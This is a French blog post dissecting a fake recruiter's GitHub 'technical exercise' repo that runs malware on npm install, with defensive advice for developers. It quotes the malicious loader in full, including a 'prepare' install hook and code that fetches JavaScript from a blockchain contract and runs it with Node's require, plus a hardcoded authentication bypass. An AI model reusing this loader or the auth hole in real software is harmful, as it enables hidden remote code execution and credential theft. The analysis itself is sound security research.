Un recruteur m'a contacté pour un poste de développeur Web3 chez Limit Break. Bon salaire, projet intéressant, le package complet
Ils m'ont envoyé un repo GitHub à examiner comme exercice technique. Une plateforme de poker construite avec React, Express, Socket.io et ethers.js
J'ai failli le lancer
Au lieu de ça, j'ai décidé d'auditer le code d'abord. Ce que j'ai trouvé était un système sophistiqué de distribution de malware qui cache sa charge utile sur la Binance Smart Chain et l'exécute dès que vous tapez npm install
Voici l'analyse complète de son fonctionnement
La Mise en Place
Le repo se trouve sur github.com/LimitBreakOrgs/bet_ver_1. À première vue, il a l'air complètement légitime. Structure de dossiers propre, README correct, vraies dépendances, des centaines de lignes de logique de jeu
bet_ver_1/├── server/ # Express backend│ ├── controllers/ # Auth, chips, users, collection│ ├── middleware/ # JWT, rate limiting, sanitization│ ├── pokergame/ # Table, Player, Deck classes│ └── socket/ # Socket.io game events├── src/ # React frontend│ ├── components/ # Poker table UI, cards, betting│ ├── context/ # State management│ └── utils/ # MetaMask wallet integration└── package.json
Il y a même un middleware de sécurité — mongo sanitization, protection XSS, rate limiting, auth JWT. Quelqu'un a fait un vrai effort pour que ça ressemble à une codebase de production
Les Premiers Signaux d'Alerte
Quand j'ai commencé à creuser, j'ai remarqué des choses qui ne collaient pas
L'organisation GitHub est fausse. Le vrai Limit Break est sur github.com/limitbreakinc avec 18 repos, des smart contracts Solidity et des années d'historique. "LimitBreakOrgs" a exactement un repo, zéro membre public, créé il y a deux semaines
Des événements d'échecs dans un jeu de poker. Le fichier de paquets socket définit des événements comme CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Ce sont des événements d'échecs. Dans une application de poker. Le code a clairement été copié-collé de plusieurs projets sans rapport
L'authentification est cassée volontairement. Dans le contrôleur d'auth, la vérification du mot de passe est codée en dur :
// server/controllers/auth.jsconst isMatch = true; // should be: await bcrypt.compare(password, user.password)
N'importe quel mot de passe fonctionne pour n'importe quel compte. Ce n'est pas un bug — on n'écrit pas const isMatch = true par accident en sautant l'import de bcrypt
Le fichier .env est commité. Le .gitignore exclut .env.local mais pas .env lui-même. Le fichier est là dans le repo avec des clés API et des secrets. Ils veulent que vous pensiez "oh cool c'est prêt à tourner, j'ai juste besoin d'installer"
Le Piège : package.json
C'est ici que ça devient intéressant. Regardez la section scripts :
{"scripts": {"start": "node server/server.js | react-scripts start","prepare": "node server/server.js"}}
Le script de lifecycle prepare s'exécute automatiquement pendant npm install. Pas npm start. Pas npm run build. Juste npm install
Au moment où vous installez les dépendances, server/server.js s'exécute
La Charge Utile : Malware Hébergé sur la Blockchain
server.js a l'air normal. App Express, middleware, routes, Socket.io. Mais à la fin du démarrage, il appelle une fonction :
// server/server.jsconst { configureCollection } = require("./controllers/collection");// ... configuration express normale ...startServer(); // dans le callback listen :configureCollection(); // <-- c'est le déclencheur
Et voici configureCollection :
// server/controllers/collection.jsconst { ethers } = require("ethers");const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;const CONTRACT_ABI = ["function getMemo(uint256) view returns (string)"];const TX_ID = 1;const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);async function configureCollection() {const contract = new ethers.Contract(NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider);const memo = await contract.getMemo(TX_ID);ContentAsWeb(memo);}
Il se connecte à un smart contract sur Binance Smart Chain à l'adresse 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Il lit un champ memo depuis la transaction ID 1. Ce memo contient une chaîne de caractères
Une chaîne de code JavaScript
Puis il l'exécute :
function ContentAsWeb(payload) {if (!payload || typeof payload !== "string") return;try {new Function(payload); // vérifie que c'est du JS parseable} catch (err) { return; }try {const ensureWeb = new Function("require", payload);ensureWeb(require); // exécute avec un accès complet à Node.js} catch (err) {console.error("ensureWeb error", err.message);}}
new Function("require", payload) crée une fonction à partir de la chaîne récupérée depuis la blockchain. Puis ensureWeb(require) l'exécute — en passant le require de Node.js pour que la charge utile puisse importer n'importe quel module
Pourquoi C'est Brillant (et Terrifiant)
Ce design est malin pour plusieurs raisons :
Le malware n'est pas dans le repo. Les scanners de sécurité de GitHub, npm audit et tout outil d'analyse statique ne trouveront rien. La charge utile réelle vit on-chain
C'est modifiable. L'attaquant peut mettre à jour le champ memo du smart contract à tout moment. Aujourd'hui il vole peut-être des wallets. Demain il installe peut-être un keylogger. Le repo ne change jamais
Il utilise new Function() au lieu de eval(). La plupart des linters et outils de sécurité signalent eval(). Moins signalent new Function() alors que c'est tout aussi dangereux
Les noms de fonctions sont camouflés. configureCollection, ContentAsWeb, ensureWeb — tout ça ressemble à des fonctions utilitaires légitimes. Il faudrait lire chaque ligne attentivement pour remarquer ce qu'elles font réellement
Il passe require explicitement. new Function() n'a pas accès au scope du module par défaut. En passant require comme paramètre, ils donnent à la charge utile un accès complet à Node.js — système de fichiers, réseau, processus enfants, tout
Ce que la Charge Utile Peut Faire
Avec require disponible, le JavaScript on-chain peut :
require('fs')— Lire vos clés SSH, fichiers de wallet, fichiers.env, profils de navigateurrequire('child_process')— Exécuter n'importe quelle commande shell sur votre machinerequire('https')— Tout envoyer au serveur de l'attaquantrequire('os')— Faire le fingerprint de votre machine, trouver votre répertoire homerequire('path')— Naviguer vers les emplacements connus des wallets
La liste de cibles typique pour ces attaques : les vaults MetaMask, les données Phantom wallet, les clés privées SSH, les identifiants AWS, les cookies de navigateur, les bases de données des gestionnaires de mots de passe
La Vue d'Ensemble
Ce n'est pas un cas isolé. C'est la campagne Contagious Interview, largement attribuée au Lazarus Group de Corée du Nord. Ils font tourner des variantes de ceci depuis 2024 et ont volé des millions
Le scénario est toujours le même :
- Créer un faux profil d'entreprise ou usurper l'identité d'une vraie
- Approcher des développeurs sur LinkedIn/Telegram avec une offre d'emploi
- Mener un processus d'entretien convaincant
- Envoyer un repo GitHub comme "exercice technique"
- Le repo exécute un malware à l'installation ou au démarrage
- Vider les wallets, voler les identifiants, installer des backdoors persistantes
Ils ciblent spécifiquement les développeurs crypto parce que les développeurs crypto ont tendance à avoir des wallets crypto sur leurs machines de développement
Comment Se Protéger
Avant de lancer un exercice technique d'entretien :
- Vérifiez l'entreprise. Vérifiez la vraie organisation GitHub, pas juste le nom. Recoupez avec LinkedIn, le site web de l'entreprise et Crunchbase
- Lisez
package.jsonen premier. Regardez les scriptsprepare,preinstall,postinstalletinstall. Si l'un d'entre eux lance du code serveur, c'est un signal d'alerte - Cherchez
new Function,eval,child_processetexec. Ce sont des patterns courants d'exécution de charge utile - Vérifiez les appels blockchain dans les projets non-blockchain. Une app de poker n'a pas besoin d'
ethers.jsqui se connecte à BSC au démarrage - Utilisez un sandbox. Conteneur Docker, VM, ou au minimum un compte utilisateur séparé sans accès à vos wallets ou identifiants
- Vérifiez le .gitignore. Si
.envest commité avec des clés qui ont l'air vraies, ils veulent que vous le lanciez tel quel sans réfléchir
Hygiène générale :
- Ne gardez jamais de hot wallets sur votre machine de développement
- Utilisez des hardware wallets pour tout montant significatif
- Gardez vos clés SSH protégées par une phrase de passe
- Ne stockez pas de clés API dans les variables d'environnement de votre machine principale
Le Contrat
Pour les chercheurs en sécurité qui lisent ceci, le contrat malveillant se trouve à :
- Adresse :
0xE251b37Bac8D85984d96da55dc977A609716EBDc - Réseau : Binance Smart Chain (RPC :
bsc-dataseed1.binance.org) - Méthode :
getMemo(uint256)avec TX_ID1 - Repo :
github.com/LimitBreakOrgs/bet_ver_1
Si vous analysez ceci, faites-le dans un environnement isolé
Dernière Réflexion
J'ai eu de la chance parce que je suis paranoïaque quand il s'agit d'exécuter le code des autres. Tout le monde ne l'est pas. Si vous êtes un développeur qui reçoit des offres d'emploi dans la crypto, la revue de code commence avec l'exercice technique lui-même — pas avec le code à l'intérieur
Restez prudents
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.


